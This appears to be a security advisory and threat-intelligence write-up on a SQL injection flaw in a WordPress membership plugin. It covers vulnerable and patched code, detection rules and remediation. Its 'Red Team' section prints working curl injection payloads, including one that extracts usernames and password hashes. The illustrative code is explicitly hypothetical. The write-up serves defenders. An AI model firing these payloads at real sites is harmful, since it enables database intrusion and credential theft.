CVE-2020-37244

Executive Summary

CVE-2020-37244 is a critical SQL injection vulnerability affecting the Supsystic Membership plugin version 1.4.7 for WordPress. This flaw allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the search and sidx parameters in GET requests to the badges module. The vulnerability can be exploited using time-based blind or UNION-based SQL injection techniques, enabling attackers to extract sensitive database information, including user credentials and other confidential data. The CVSS score of 8.2 reflects the high impact on confidentiality, integrity, and availability, with no authentication required. As a WordPress plugin vulnerability, it directly affects the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability is specific to the Supsystic Membership plugin, a third-party WordPress plugin. No official patch has been released, and the plugin may no longer be maintained. Users should consider this a supply chain risk and evaluate alternative plugins or implement strict input validation and web application firewall (WAF) rules to mitigate the threat.

CVSS Breakdown & Threat Level

• CVSS Score: 8.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The vulnerability is easily exploitable over the network without authentication, making it a high-priority threat for any WordPress site using the affected plugin.

Deep Dive & Mechanics

The Supsystic Membership plugin version 1.4.7 fails to properly sanitize user-supplied input in the search and sidx parameters when processing GET requests to the badges module. This allows an attacker to inject SQL commands that are executed against the WordPress database. The injection can be performed using time-based blind techniques (e.g., SLEEP() functions) to infer data character by character, or UNION-based techniques to retrieve data directly in the HTTP response.

The vulnerable code likely constructs SQL queries by concatenating user input without parameterization or escaping. For example, a query might look like:

SELECT * FROM wp_badges WHERE name LIKE '%$search%' ORDER BY $sidx

An attacker can manipulate $search to include ' OR 1=1 -- or ' UNION SELECT ... -- to extract arbitrary data.

Vulnerable vs. Patched Code

Vulnerable Code (Supsystic Membership 1.4.7):

$search = $_GET['search'];
$sidx = $_GET['sidx'];
$query = "SELECT * FROM wp_badges WHERE name LIKE '%$search%' ORDER BY $sidx";
$result = $wpdb->get_results($query);

Patched Code (Hypothetical):

$search = sanitize_text_field($_GET['search']);
$sidx = sanitize_sql_orderby($_GET['sidx']);
$query = $wpdb->prepare("SELECT * FROM wp_badges WHERE name LIKE %s ORDER BY $sidx", '%' . $search . '%');
$result = $wpdb->get_results($query);

The patched version uses WordPress's sanitize_text_field() and sanitize_sql_orderby() functions, and employs prepared statements via $wpdb->prepare() to prevent SQL injection.

Exploitation & Lab Setup

Red Team

Proof of Concept (Time-Based Blind SQL Injection):

curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=badges&search=' OR SLEEP(5)-- -&sidx=id"

This payload causes a 5-second delay if the injection is successful.

Proof of Concept (UNION-Based SQL Injection):

curl -X GET "http://target.com/wp-admin/admin-ajax.php?action=badges&search=' UNION SELECT user_login,user_pass FROM wp_users-- -&sidx=id"

This extracts usernames and password hashes from the WordPress users table.

Lab Setup:

1. Install WordPress on a local server (e.g., XAMPP, Docker).
2. Install Supsystic Membership plugin version 1.4.7.
3. Activate the plugin and navigate to the badges module.
4. Use the above curl commands to test the injection.

Blue Team

Detection:

• Monitor web server logs for suspicious GET requests to admin-ajax.php with action=badges and parameters containing SQL keywords (e.g., SLEEP, UNION, SELECT).
• Use WAF rules to block requests with SQL injection patterns in the search and sidx parameters.

Mitigation:

• Disable or remove the Supsystic Membership plugin if not essential.
• Implement input validation and parameterized queries in any custom code.
• Apply virtual patching via WAF (e.g., ModSecurity rule to block SLEEP and UNION in query strings).

Indicators of Compromise (IOCs)

• Network IOCs:
  • GET requests to /wp-admin/admin-ajax.php with action=badges and parameters containing SQL keywords.
  • Unusual HTTP response times (e.g., delays of 5+ seconds) indicating time-based injection.
• File IOCs:
  • Modified WordPress database entries (e.g., new admin users).
  • Log entries in wp-content/debug.log showing SQL errors.
• System IOCs:
  • Unexpected database queries in MySQL logs (e.g., SELECT * FROM wp_users).

Detection Engineering

YARA Rule

rule CVE_2020_37244_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting Supsystic Membership plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37244"
    strings:
        $sqli1 = /search=.*(?:SLEEP|UNION|SELECT|OR\s+1=1)/i
        $sqli2 = /sidx=.*(?:SLEEP|UNION|SELECT|OR\s+1=1)/i
        $action = "action=badges"
    condition:
        all of ($action, $sqli1 or $sqli2)
}

Sigma Rule

title: CVE-2020-37244 SQL Injection Attempt
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts against Supsystic Membership plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains:
            - 'action=badges'
            - 'search='
            - 'sidx='
        cs-uri-query|re:
            - '(?i)(SLEEP|UNION|SELECT|OR\s+1=1)'
    condition: selection
falsepositives:
    - Legitimate use of search functionality with similar keywords (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-37244 SQL Injection Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=badges"; http_uri; pcre:"/(?i)(search|sidx)=.*(SLEEP|UNION|SELECT|OR\s+1=1)/U"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable or remove the Supsystic Membership plugin version 1.4.7 from all WordPress installations.
2. Virtual Patching: Deploy WAF rules (e.g., ModSecurity) to block SQL injection patterns in the search and sidx parameters.
3. Input Validation: Ensure all user inputs are sanitized and parameterized queries are used in any custom code.
4. Monitoring: Enable detailed logging for web server and database to detect exploitation attempts.
5. Alternative Plugin: Migrate to a supported membership plugin that is actively maintained and patched.
6. User Education: Inform administrators about the risks of using unmaintained plugins.

Valters IT
DevSecOps & Cyber Threat Intelligence